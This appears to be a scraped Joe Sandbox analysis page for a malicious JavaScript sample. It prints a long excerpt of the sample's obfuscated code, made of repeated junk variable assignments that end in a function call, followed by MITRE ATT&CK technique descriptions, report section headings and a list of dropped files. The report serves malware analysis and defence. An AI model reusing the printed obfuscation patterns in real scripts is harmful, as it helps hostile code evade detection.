265	edpprbwm = "z";
266	edpprbwm = "a";
267	edpprbwm = "I";
268	edpprbwm = "O";
269	fhkadp = "R";
270	fhkadp = "C";
271	fhkadp = "d";
272	fhkadp = "v";
273	fhkadp = "F";
274	fhkadp = "1";
275	yqlfhulut = "t";
276	yqlfhulut = "L";
277	yqlfhulut = "k";
278	yqlfhulut = "V";
279	yqlfhulut = "s";
280	yqlfhulut = "W";
281	hfyieyup = "N";
282	hfyieyup = "w";
283	hfyieyup = "z";
284	hfyieyup = "E";
285	hfyieyup = "I";
286	hfyieyup = "b";
287	hfyieyup = "e";
288	hfyieyup = " ";
289	irufo = "F";
290	irufo = "h";
291	irufo = "W";
292	irufo = "d";
293	irufo = "Z";
294	irufo = "Y";
295	irufo = ".";
296	bndthpljc = "O";
297	bndthpljc = "u";
298	bndthpljc = "g";
299	bndthpljc = "M";
300	bndthpljc = "j";
301	bndthpljc = "P";
302	bndthpljc = "2";
303	qrihxad = "Z";
304	qrihxad = "I";
305	qrihxad = "k";
306	qrihxad = "q";
307	qrihxad = "i";
308	qrihxad = "P";
309	qrihxad = "q";
310	vyxxh = "S";
311	vyxxh = "B";
312	vyxxh = "T";
313	vyxxh = "m";
314	vyxxh = "d";
315	vyxxh = "w";
316	vyxxh = "d";
317	rrbxxejl = "p";
318	rrbxxejl = "F";
319	rrbxxejl = "u";
320	rrbxxejl = "v";
321	rrbxxejl = "L";
322	rrbxxejl = "P";
323	cixicsau = "t";
324	cixicsau = "Q";
325	cixicsau = "Y";
326	cixicsau = "Z";
327	cixicsau = "u";
328	cixicsau = "g";
329	cixicsau = "@";
330	yjhyciujm = "M";
331	yjhyciujm = "q";
332	yjhyciujm = "j";
333	yjhyciujm = "T";
334	yjhyciujm = "A";
335	yjhyciujm = "o";
336	llmwzfwj = "Z";
337	llmwzfwj = "P";
338	llmwzfwj = "Y";
339	llmwzfwj = "U";
340	llmwzfwj = "I";
341	llmwzfwj = "&";
342	jhrgkjep = "n";
343	jhrgkjep = "g";
344	jhrgkjep = "i";
345	jhrgkjep = "Z";
346	jhrgkjep = "h";
347	jhrgkjep = "p";
348	jhrgkjep = "l";
349	jhrgkjep = "C";
350	eviipyanq = "F";
351	eviipyanq = "n";
352	eviipyanq = "N";
353	eviipyanq = "w";
354	eviipyanq = "A";
355	eviipyanq = "L";
356	cuuzk = "C";
357	cuuzk = "o";
358	cuuzk = "C";
359	cuuzk = "o";
360	cuuzk = "S";
361	cuuzk = "d";
362	cuuzk = "X";
363	cuuzk = "i";
364	sbxjv = "O";
365	sbxjv = "c";
366	sbxjv = "r";
367	sbxjv = "a";
368	sbxjv = "H";
369	sbxjv = "h";
370	tobonl = "T";
371	tobonl = "T";
372	tobonl = "C";
373	tobonl = "v";
374	tobonl = "u";
375	tobonl = "U";
376	tobonl = "i";
377	tobonl = "h";
378	tobonl = "5";
379	xsoan = "i";
380	xsoan = "e";
381	xsoan = "Q";
382	xsoan = "O";
383	xsoan = "O";
384	xsoan = "X";
385	xsoan = "K";
386	xsoan = "V";
387	xsoan = "a";
388	evysdzbwb = "e";
389	evysdzbwb = "m";
390	evysdzbwb = "s";
391	evysdzbwb = "A";
392	evysdzbwb = "o";
393	evysdzbwb = "q";
394	evysdzbwb = "R";
395	evysdzbwb = "k";
396	evysdzbwb = "v";
397	eexml = "M";
398	eexml = "O";
399	eexml = "G";
400	eexml = "X";
401	eexml = "V";
402	eexml = "W";
403	eexml = "W";
404	eexml = "M";
405	eexml = "b";
406	tldsngp = "F";
407	tldsngp = "r";
408	tldsngp = "H";
409	tldsngp = "B";
410	tldsngp = "M";
411	tldsngp = "W";
412	tldsngp = "H";
413	tldsngp = "c";
414	tldsngp = "j";
415	eozff = "b";
416	eozff = "p";
417	eozff = "v";
418	eozff = "b";
419	eozff = "p";
420	eozff = "m";
421	eozff = "f";
422	eozff = "v";
423	eozff = "I";
424	opuczoah = "i";
425	opuczoah = "o";
426	opuczoah = "s";
427	opuczoah = "Z";
428	opuczoah = "l";
429	opuczoah = "F";
430	cfuvli = "t";
431	cfuvli = "v";
432	cfuvli = "w";
433	cfuvli = "h";
434	cfuvli = "C";
435	cfuvli = "N";
436	cfuvli = "n";
437	ywpygebr = "s";
438	ywpygebr = "s";
439	ywpygebr = "w";
440	ywpygebr = "i";
441	ywpygebr = "Z";
442	ywpygebr = "N";
443	ywpygebr = "g";
444	uludicvv = "g";
445	uludicvv = "g";
446	uludicvv = "G";
447	uludicvv = "o";
448	uludicvv = "h";
449	uludicvv = "J";
450	uludicvv = "c";
451	uludicvv = "U";
452	uludicvv = "U";
453	uludicvv = "U";
454	ndohzs = "g";
455	ndohzs = "n";
456	ndohzs = "p";
457	ndohzs = "w";
458	ndohzs = "o";
459	ndohzs = "k";
460	ndohzs = "R";
461	ndohzs = "g";
462	ndohzs = "e";
463	zkxvmcarp = "j";
464	zkxvmcarp = "y";
465	zkxvmcarp = "O";
466	zkxvmcarp = "o";
467	zkxvmcarp = "K";
468	zkxvmcarp = "P";
469	zkxvmcarp = "d";
470	zkxvmcarp = "X";
471	zkxvmcarp = "i";
472	zkxvmcarp = "N";
473	ntmmhom ( );	ntmmhom() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 14137177262856222939.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b96a485f-82bd-4584-bde9-9a924e952d7d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7712

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7712

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Windows Analysis Report
14137177262856222939.js